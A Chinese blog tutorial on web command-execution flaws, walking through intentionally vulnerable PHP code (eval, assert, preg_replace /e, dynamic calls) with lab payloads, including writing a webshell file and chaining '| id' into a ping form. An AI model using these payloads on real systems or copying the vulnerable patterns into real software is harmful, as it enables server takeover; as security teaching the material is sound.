WEB安全之:命令执行

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 命令执行介绍

产生原因

  • 应用未对用户输入做严格的检查过滤,导致用户输入的参数被当成命令来执行。

危害

  • 继承 WEB 服务程序的权限去执行系统命令或读写文件
  • 反弹 shell,获得目标服务器的权限
  • 进一步内网渗透

2 命令执行函数

2.1 远程命令执行函数

  • PHP 中的执行命令函数:

    • // eval() 函数传入的参数必须为 PHP 代码,并以分号结尾。
      eval()
      <?php
      @eval($ret=$_POST["cmd"]);
      echo $ret;
      ?>
      执行语句
      http://exec.lab.com/exec/exec01.php
      [post data]
      cmd=phpinfo();
      
    • // assert() 函数是直接将传入的参数当成 PHP 代码执行,不需要以分号结尾。
      assert()
      <?php
      $ret=@assert($_POST["cmd"])
      echo $ret;
      ?>
      执行语句
      http://exec.lab.com/exec/exec02.php
      [post data]
      cmd=phpinfo()
      
    • preg_replace(reg, 'repl', 'string')
      
      <?php preg_replace("/string/e", $_POST["cmd"], "test string");?>
      // 注:/e 修正符使 preg_replace() 将替换后的 repl 参数当作 PHP 代码并以 eval() 函数方式执行。
      // 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
      
      执行语句
      http://exec.lab.com/exec/exec03.php
      [post data]
      cmd=phpinfo();
      
      GET方式
      <?php
          $data=$_GET[‘data’];
          echo $data;
          preg_replace(/<data>(.*)<\/data>/e’,$ret=“\\1;, $data);
          echo $ret;
      ?>
      执行语句
      http://exec.lab.com/exec/exec03-1.php?<data>{${phpinfo()}}</data>
      
      
    • array_map()
      // 将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带新值的数组。
      
      <?php
      $func = $_POST['func'];
      $cmd = $_POST['cmd'];
      $array[0] = $cmd;
      $new_array = array_map($func,$array);
      echo $new_array;
      ?>
      
      执行语句
      http://exec.lab.com/exec/exec04.php
      [post data]
      func=assert&cmd=phpinfo()
      
    • 动态函数执行
      // PHP 函数可直接由字符串拼接而成。
      <?php
      $fun=$_GET['func'];
      $cmd=$_GET['cmd'];
      echo $func($cmd)
      ?>
      // 写法二
      <?php
      $_GET['func']($_GET['cmd']);
      ?>
      
      执行语句
      http://exec.lab.com/exec/exec.php?func=assert&cmd=phpinfo()
      
  • Python 中的执行命令函数:exec()

  • Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL

2.2 系统执行命令

2.2.1 常用系统执行命令

// 执行外部程序,并显示输出
system()
// 执行一个外部程序
exec()
// 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec()
// 执行 unix 系统命令并且显示原始输出
passthru()
// 在当前进程空间执行指定程序
pcntl_exec()
// 打开进程文件指针
popen()
// 执行一个命令,并且打开用来输入/输出的文件指针
proc_open()

2.2.2 常用命令执行特殊字符

cmd1|cmd2”:无论 cmd1 是否成功执行,都执行 cmd2 语句。

“cmd1||cmd2”:仅在 cmd1 语句执行 false 时执行后面的语句。

“cmd1&cmd2”:无否成功执行,都执行 cmd2 语句。

“cmd1&&cmd2”:cmd1 成功执行时,才执行 cmd2 ,否则不执行

// only unix>(cmd)”:如当执行 >(ls) 时,bash 将使用 /dev/fd/63 替换 ls 命令,将 /dev/fd/63 连接 bash 标准输入并执行 ls 命令(ls没有使用标准输入)。bash 将写入新的标准提示符,并紧跟着在此提示符后面输出 ls 命令的结果。在提示符下方的光标位置中,你可以输入任何的命令,这些命令都会生效,但是不会显示任何提示。

3 漏洞利用

3.1 通过命令执行写入恶意文件

<?php
@eval($ret=$_POST["cmd"]);
echo $ret;
?>

执行语句
http://exec.lab.com/exec/exec01.php
[post data]
cmd=fputs(fopen("../webshell.php","a"),"<?php phpinfo();?>");

访问恶意文件
http://exec.lab.com/exec/webshell.php

3.2 利用特殊字符执行系统命令

<html><head><meta charset="UTF-8"><title>系统命令执行</title></head><body><form method='post'><label>Ping IP:<input type='text' name='ip'/></label><input type="submit" value='提交'/></form></body><?phpif( $_POST[ 'ip' ] ){    $target = $_POST[ 'ip' ];    $cmd = shell_exec( 'ping ' . $target );    // $cmd = system('ping '.$target );    echo '<pre>'.$cmd.'</pre>';}?></html>执行语句http://exec.lab.com/exec/exec05.php[post data]ip=127.0.0.1 -c 1 | id
posted @ 2021-06-23 14:31  f_carey  阅读(15)  评论(0编辑  收藏  举报  来源